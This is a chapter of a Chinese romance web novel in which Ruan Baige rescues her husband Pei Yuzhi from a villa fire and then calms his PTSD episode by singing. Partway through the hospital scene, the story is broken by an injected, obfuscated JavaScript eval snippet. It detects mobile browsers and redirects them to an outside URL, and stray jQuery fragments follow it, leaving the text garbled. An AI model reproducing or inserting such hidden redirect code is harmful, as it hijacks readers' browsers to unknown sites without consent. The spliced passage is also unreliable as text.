34. 意外火灾

作品:《白月光拒绝自我代餐

    阮白歌是被浓烟呛醒的。


    她猛地从床上弹起来,喉咙火辣辣地疼。


    房间里已经弥漫着呛人的烟雾,黑暗中隐约可见门缝下透出诡异的橘红色光芒。


    “着火了!”她一个激灵跳下床,赤脚踩在地板上时才发现地面已经微微发烫。


    “裴与之!”她扯着嗓子大喊,声音却被浓烟呛得支离破碎。


    没有回应。


    阮白歌迅速抓起枕巾浸湿捂住口鼻,冲向房门。手刚碰到门把手就被烫得缩了回来——金属把手已经滚烫。


    “该死!”她环顾四周,抄起梳妆凳狠狠砸向窗户。玻璃碎裂的声响在寂静的夜里格外刺耳。


    新鲜空气涌入的瞬间,她贪婪地吸了几口,随即探出身子查看火势。别墅一侧已经完全被火焰吞噬,火舌正疯狂舔舐着二楼的阳台。


    “裴与之的房间!”阮白歌心头一紧。她顾不得思考,抓起床单迅速打结系在床脚,顺着窗户爬了下去。


    她光着脚踩在沙地上,顾不上疼痛,跌跌撞撞地绕到别墅正面。整栋建筑已经陷入火海,热浪扑面而来,烤得她脸颊生疼。


    真够倒霉的,手机也没在身边,还播不了消防电话。这附近还没什么人住,debuff属实是上满了。


    “裴与之!”她声嘶力竭地喊着,声音淹没在火焰的咆哮中。


    突然,她注意到二楼窗口有人影晃动。是裴与之!阮白歌毫不犹豫地冲进火场,热浪瞬间将她吞没。


    浓烟中她摸索着爬上楼梯,楼梯在她脚下发出不祥的断裂声。她屏住呼吸,用湿枕巾死死捂住口鼻,在能见度几乎为零的走廊里匍匐前进。


    终于摸到裴与之的房门时,她的手臂已经被烫出了水泡。门把手同样滚烫,她咬牙用枕巾包裹着拧开——


    房间里的景象让她血液凝固。


    裴与之蜷缩在角落,双手抱头,眼神空洞地望着火焰,整个人像被定住一般。火焰已经蔓延到了窗帘,距离他只有几步之遥。


    “裴与之!”阮白歌扑过去拽他,“你发什么楞啊?快走!”


    男人却像没听见一样,身体僵硬如石。近距离看,他的瞳孔剧烈收缩,嘴唇颤抖着吐出几个字:“又来了……又来了……”


    没时间了!


    阮白歌一咬牙,抓起床头的水壶将整壶水泼在自己和裴与之身上,然后使出全身力气拽起他:“跟我走!现在!”


    裴与之被她拽得踉跄几步,却仍然神情恍惚。阮白歌狠狠扇了他一耳光:“醒醒!你想死在这里吗?”


    这一巴掌似乎起了作用。裴与之的眼神终于聚焦,看清眼前的阮白歌后,他有点迷茫:“白歌……你……”


    “别说话!走!”阮白歌拽着他冲向门口,却发现走廊已经完全被火焰封锁。


    火势越来越大,浓烟呛得两人不断咳嗽。阮白歌当机立断,拉着裴与之退回房间,冲向窗户。


    “跳下去!”她推开窗户,下方是松软的沙滩。


    裴与之却突然抓住她的手腕:“你先跳。”


    “一起!”阮白歌死死拽住他。


    就在两人争执的瞬间,天花板发出一声可怕的呻吟,一根燃烧的横梁轰然砸下。


    阮白歌当机立断地扑向裴与之,两人一起摔了下去,掉到了沙子上,好在只是擦破了点皮,没有骨折什么的。


    消防车和救护车还是来了,大概是火势太大引起了另一边沙滩居民的注意才报了警。


    两个人都被送到了医院去检查。


    阮白歌坐在急诊室的病床上,护士正在为她手臂上的烫伤涂抹药膏。消毒水刺激得伤口火辣辣的疼,但她满脑子都是裴与之空洞的眼神。


    “好了,伤口不要碰水。”护士收起医药盘,“您丈夫已经转到VIP病房了,在六楼。”


    阮白歌立刻跳下床:“他怎么样?看上去应该和我差不多?为什么都转病房里去了?”


    护士欲言又止:“您可以亲自去看看……他的情况和您比起来,可能有些特殊。”


    电梯上升的十几秒里,阮白歌的心跳快得几乎要蹦出胸腔。


    推开VIP病房的门,她看到裴与之静静地坐在床上。他看向窗外,背对着门口,肩膀的线条紧绷得像一张拉满的弓。


    “裴与之?”她轻声唤道。


    男人没有回头,只是微微侧了侧脸。阳光透过百叶窗在他脸上投下斑驳的阴影,衬得他面色惨白。


    “医生说……”阮白歌小心翼翼地走近,生怕自己惊扰了他,“你需要休息……你伤到哪里了吗?”


    “谢谢。”裴与之突然开口道谢,“谢谢你救了我。”


    眼瞅着裴与之似乎并无大碍,阮白歌也是松了一口气,回归往日的状态:“嗐,还好你没事。当时真的吓死我了,你一动不动,我以为你吓傻了……”


    “确实是吓傻了。”裴与之依旧看着窗外,声音闷闷的。


    看他这状况,阮白歌都不知道该说什么了:怎么这么抑郁寡欢啊?


    她赶忙调整措辞,试图安慰一下他:“没事,我身手矫健,救你一次还是救你一百次,姐都可以!”


    “这是第二次。”裴与之没头没尾地来了一句。


    阮白歌摸不着头脑了:“啊?什么意思?”


    “这是我第二次遇上火灾,也是第二次被人救。”他扭头直视阮白歌,病态的脸色有点吓到她了,“也是自那次以后,我看到火就会……你知道吗?应激后创伤障碍。”


    应激后创伤障碍?那不就是PTSD吗?等一下……


    阮白歌猛然想起第一次去裴氏的时候有翻到他的医疗记录。


    想到这里,她的心揪紧了。她轻轻坐到病床边,有些心疼地握住裴与之冰凉的手:“可以……告诉我发生了什么吗?”


    裴与之的手指微微颤抖,目光落在两人交握的手上。窗外海风轻拂,带来消毒水也掩盖不了的咸涩气息。


    “十二岁那年,”他的声音轻得像羽毛,“家里突发大火。我被困在二楼书房,浓烟……浓烟让我窒息。”


    阮白歌不自觉地收紧了手指。


    “就在我以为要死的时候,有人砸碎了窗户。”裴与之的瞳孔微微扩散,仿佛又回到那个可怕的夜晚。


    裴与之的呼吸突然变得急促,额头上渗出细密的汗珠。他的手指不受控制地痉挛起来,死死攥紧了床单。


    “火……到处都是火……”他的声音开始发抖。他的手指死死掐进掌心,指节泛白,整个人开始不受控制地颤抖。


    “火……火……”他嘶哑地重复着,额头上青筋暴起,冷汗浸湿了病号服。他的眼神涣散,仿佛透过病房看到了什么可怕的景象。


    阮白歌立刻按响了床头的呼叫铃。她俯身抱住裴与之颤抖的肩膀:“没事了,已经没事了……这里什么都没有。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525163|167527||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    裴与之已经完全陷入了创伤性回忆。他猛地推开阮白歌,踉跄着后退,撞翻了床头柜。


    病房门被猛地推开,两名护士冲了进来。


    “又发作了!”其中一人迅速按下呼叫铃,另一人已经熟练地取出镇静剂。


    阮白歌被挤到一旁,眼睁睁看着护士们按住挣扎的裴与之。针头刺入皮肤的瞬间,他发出一声痛苦的呜咽,那声音像刀子一样扎进阮白歌心里。


    她退到了病房外面。


    自己在这里好像起不到什么用处,而且光是聊聊天就会勾起他不好的回忆……要不开溜去练歌,到时候回来再来看看他?


    好,就这么办。


    阮白歌刚准备就此离开,却被突然的机械音控住了。


    【触发即时任务:照顾裴与之。】


    “什么破任务!”阮白歌在心里怒吼,“他现在这样我怎么帮?”


    【系统提示:音乐疗法对PTSD有显著效果。】


    “那也得是轻松的音乐吧,你也不看看我平时唱得都是什么核嗓重金属?”


    阮白歌站在病房门口,看着里面逐渐平静下来的裴与之。护士们正在整理被弄乱的床铺,而裴与之则像一具没有灵魂的躯壳,静静地躺在那里。


    她深吸一口气,推门走了进去。


    “我可以留下来照顾他吗?”她轻声询问正在收拾医疗器械的护士。


    或许是她的眼神太过执着,护士最终点了点头,并叮嘱了一句:“有情况立刻按铃。”


    等病房里只剩下他们两人,阮白歌轻轻坐到床边的椅子上。她伸出手,指尖轻轻抚平他眉间的褶皱。


    突然,一个大胆的想法浮现在她的脑海中。


    【系统:检测到宿主想法,是否使用“原唱卡”?】


    用他喜欢的阮白歌的声音给他唱歌,说不定他也能好受点。


    阮白歌深吸一口气,在心中默念:“使用原唱卡。”


    【系统:原唱卡已激活,时效24小时。】


    她轻轻握住裴与之的手,清了清嗓子,开始哼唱一首温柔的摇篮曲。这是她小时候妈妈经常唱给她听的,每当她做噩梦睡不着时,这个旋律总能让她安心。


    裴与之的睫毛微微颤动,但眼睛仍然紧闭。


    阮白歌继续唱着,声音轻柔得像羽毛拂过水面。她注意到他的呼吸渐渐变得平稳,紧锁的眉头也舒展开来。


    唱到第三遍时,裴与之缓缓睁开了眼睛。他的眼神不再空洞,却显得很是脆弱。


    “这是……什么歌?”他的声音沙哑。


    阮白歌惊喜地凑近,但又怕惊扰到他,于是赶忙冷静下来:“你醒了!感觉好些了吗?”


    裴与之轻轻点头,目光落在两人交握的手上:“很好听……像妈妈唱的一样。”


    “那我再给你唱一首?”她笑着捏了捏他的手。


    “嗯。”裴与之闭上眼睛,毫无防备的样子像个乖巧的孩子一样。


    当最后一个音符落下,病房里安静得只剩下两人的呼吸声。裴与之突然伸手,轻轻抚上她的脸颊:“你的声音……很耳熟。”


    “当……当然啊,”阮白歌支支吾吾地看向别处,“我是你老婆,天天待在你身边,声音当然熟悉啊。”


    她心里不断地呐喊着:我就安抚一下你,别让我掉马啊!


    然而裴与之并没有被就此打发:“可是……那你可以再唱一首吗?”